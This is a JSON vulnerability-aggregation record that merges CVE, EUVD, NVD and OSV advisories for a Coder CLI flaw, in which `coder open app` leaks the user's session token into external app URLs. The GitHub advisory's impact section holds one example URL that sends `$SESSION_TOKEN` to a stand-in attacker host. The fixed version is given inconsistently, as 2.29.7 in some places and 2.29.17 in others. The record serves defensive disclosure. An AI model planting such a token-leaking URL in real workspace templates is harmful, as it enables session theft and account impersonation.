{"id":"EUVD-2026-42140","revision":null,"records":[{"revision":"cb26ed7cd947423482834eadd2c65c1c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55431","aliases":[],"title":"Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps","description":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces.","state":0,"publishedAt":"2026-07-08T00:10:49.165+00:00","modifiedAt":"2026-07-08T13:57:02.059+00:00","affected":[{"ecosystem":"Vendor product","name":"coder","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"coder\",\n                    \"product\": \"coder\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.34.0, < 2.34.2\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.33.0, < 2.33.8\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.30.0, < 2.32.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 2.29.17\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g","https://github.com/coder/coder/pull/26146","https://github.com/coder/coder/releases/tag/v2.29.17","https://github.com/coder/coder/releases/tag/v2.32.7","https://github.com/coder/coder/releases/tag/v2.33.8","https://github.com/coder/coder/releases/tag/v2.34.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55431","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55431","identifiers":["CVE-2026-55431"]},"retained":false,"historicalAffected":[]},{"revision":"9f393ebf231f4457b9da14b4f49a376e","observedAt":"2026-11-23T17:32:08.509+00:00","statement":{"source":"euvd","id":"EUVD-2026-42140","aliases":["CVE-2026-55431","GHSA-v54h-cp2w-9x4g"],"title":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an e…","description":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","score":7.7,"severity":null}],"references":["https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g","https://github.com/coder/coder/pull/26146","https://github.com/coder/coder/releases/tag/v2.29.17","https://github.com/coder/coder/releases/tag/v2.32.7","https://github.com/coder/coder/releases/tag/v2.33.8","https://github.com/coder/coder/releases/tag/v2.34.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42140","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2026, 12:10:49 AM","dateUpdated":"Jul 8, 2026, 1:57:02 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42140","identifiers":["EUVD-2026-42140","CVE-2026-55431","GHSA-v54h-cp2w-9x4g"]},"retained":false,"historicalAffected":[]},{"revision":"2ca61d7d36fd413884ecd49f82e108a5","observedAt":"2026-10-25T13:17:34.255+00:00","statement":{"source":"nvd","id":"CVE-2026-55431","aliases":[],"title":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an e…","description":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces.","state":0,"publishedAt":"2026-07-08T01:16:27.48+00:00","modifiedAt":"2026-07-08T19:42:45.88+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","score":7.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/coder/coder/pull/26146","https://github.com/coder/coder/releases/tag/v2.29.17","https://github.com/coder/coder/releases/tag/v2.32.7","https://github.com/coder/coder/releases/tag/v2.33.8","https://github.com/coder/coder/releases/tag/v2.34.2","https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55431","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-522","CWE-601"],"productCriteria":["cpe:2.3:a:coder:coder:*:*:*:*:*:go:*:*"],"sourceDates":{"published":"2026-07-08T01:16:27.480","lastModified":"2026-07-08T19:42:45.880"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55431","identifiers":["CVE-2026-55431"]},"retained":false,"historicalAffected":[]},{"revision":"4ad1a79a81f642f4aebde8c0a38a1f3c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-v54h-cp2w-9x4g","aliases":["CVE-2026-55431","GO-2026-5924"],"title":"Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps","description":"### Summary\n\n`coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.\n\n> **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.\n\n### Impact\n\nWorkspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app.\n\n### Patches\n\nThe fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nAvoid running `coder open app` for untrusted workspaces.\n\n### Resources\n\n- Fix: #26146\n\n### Credits\n\nCoder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!","state":0,"publishedAt":"2026-07-06T21:07:40+00:00","modifiedAt":"2026-07-07T20:41:29.0701408+00:00","affected":[{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.34.0"},{"kind":"fixed","version":"2.34.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.33.0"},{"kind":"fixed","version":"2.33.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.30.0"},{"kind":"fixed","version":"2.32.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.29.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g","https://github.com/coder/coder/pull/26146","https://github.com/coder/coder"],"sourceUrl":"https://github.com/advisories/GHSA-v54h-cp2w-9x4g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-v54h-cp2w-9x4g","identifiers":["GHSA-v54h-cp2w-9x4g","CVE-2026-55431","GO-2026-5924"]},"retained":false,"historicalAffected":[]},{"revision":"1cf2e2cfe52644969cbf138c2bf064cc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5924","aliases":["CVE-2026-55431","GHSA-v54h-cp2w-9x4g"],"title":"Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps in github.com/coder/coder","description":"Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps in github.com/coder/coder","state":0,"publishedAt":"2026-07-07T16:41:46+00:00","modifiedAt":"2026-07-07T20:30:16.3731059+00:00","affected":[{"ecosystem":"Go","name":"github.com/coder/coder","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.29.17"},{"kind":"introduced","version":"2.30.0"},{"kind":"fixed","version":"2.32.7"},{"kind":"introduced","version":"2.33.0"},{"kind":"fixed","version":"2.33.8"},{"kind":"introduced","version":"2.34.0"},{"kind":"fixed","version":"2.34.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g","https://github.com/coder/coder/pull/26146"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5924","license":"OSV · upstream source license applies","key":"osv:GO-2026-5924","identifiers":["GO-2026-5924","CVE-2026-55431","GHSA-v54h-cp2w-9x4g"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-25T10:08:03.7251914+00:00","complete":true,"records":1795,"lastAttemptAt":"2026-11-25T10:08:03.7251914+00:00","lastSuccessAt":"2026-11-25T10:08:03.9073277+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:03.9073282+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8d356adab43082cb10bb7c033ed58312cf2ad2f0fb10e0afdf27fc89fa361f3b-f8b4a9f9d86704f763c65a94353dc97f04ce4308e7153a38735b67a0630c41df","complete":true,"records":432034,"lastAttemptAt":"2026-11-25T10:08:03.202811+00:00","lastSuccessAt":"2026-11-25T10:08:03.1199577+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:03.202811+00:00","snapshotPublishedAt":"2026-11-25T09:24:31+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4f8ff30b5b294eadab0ced16d365b016","complete":false,"records":13938,"lastAttemptAt":"2026-11-25T10:10:55.7071681+00:00","lastSuccessAt":"2026-11-25T10:10:55.7782709+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:10:55.7782709+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-25T10:08:03.7251914+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-25T10:08:03.7251914+00:00","lastSuccessAt":"2026-11-25T10:08:04.2350423+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:04.2350434+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9e1a24520e7c4783aab8a91fd833fdc4","complete":true,"records":13950,"lastAttemptAt":"2026-11-25T10:08:05.6623728+00:00","lastSuccessAt":"2026-11-25T09:08:05.005+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:05.005+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13986,"expectedIdentifiers":13986,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e743412268199d418c20ac5ea5d5eefbef4a1c78fcbacada525fcf2201b41d4a","complete":true,"records":10077,"lastAttemptAt":"2026-11-25T10:08:03.5634446+00:00","lastSuccessAt":"2026-11-24T23:11:09.9983084+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:03.5634446+00:00","snapshotPublishedAt":"2026-11-24T22:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-25T10:08:03.3569452+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:03.3569452+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-40938cbac3e2265a24e0d129a60138a855ec8a44cbd619ad6c0de0b22c0e253f","complete":true,"records":3221,"lastAttemptAt":"2026-11-25T10:08:03.6752152+00:00","lastSuccessAt":"2026-11-24T22:27:06.1844325+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:03.6752152+00:00","snapshotPublishedAt":"2026-11-24T22:03:27+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c35f45c5df4ebb9f8a4ddc3a2ad351fd1683e98490104938f94d7ebfd2984e89","complete":true,"records":233084,"lastAttemptAt":"2026-11-25T10:08:03.4578058+00:00","lastSuccessAt":"2026-11-25T08:10:20.6836928+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:08:03.4578058+00:00","snapshotPublishedAt":"2026-11-25T07:18:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}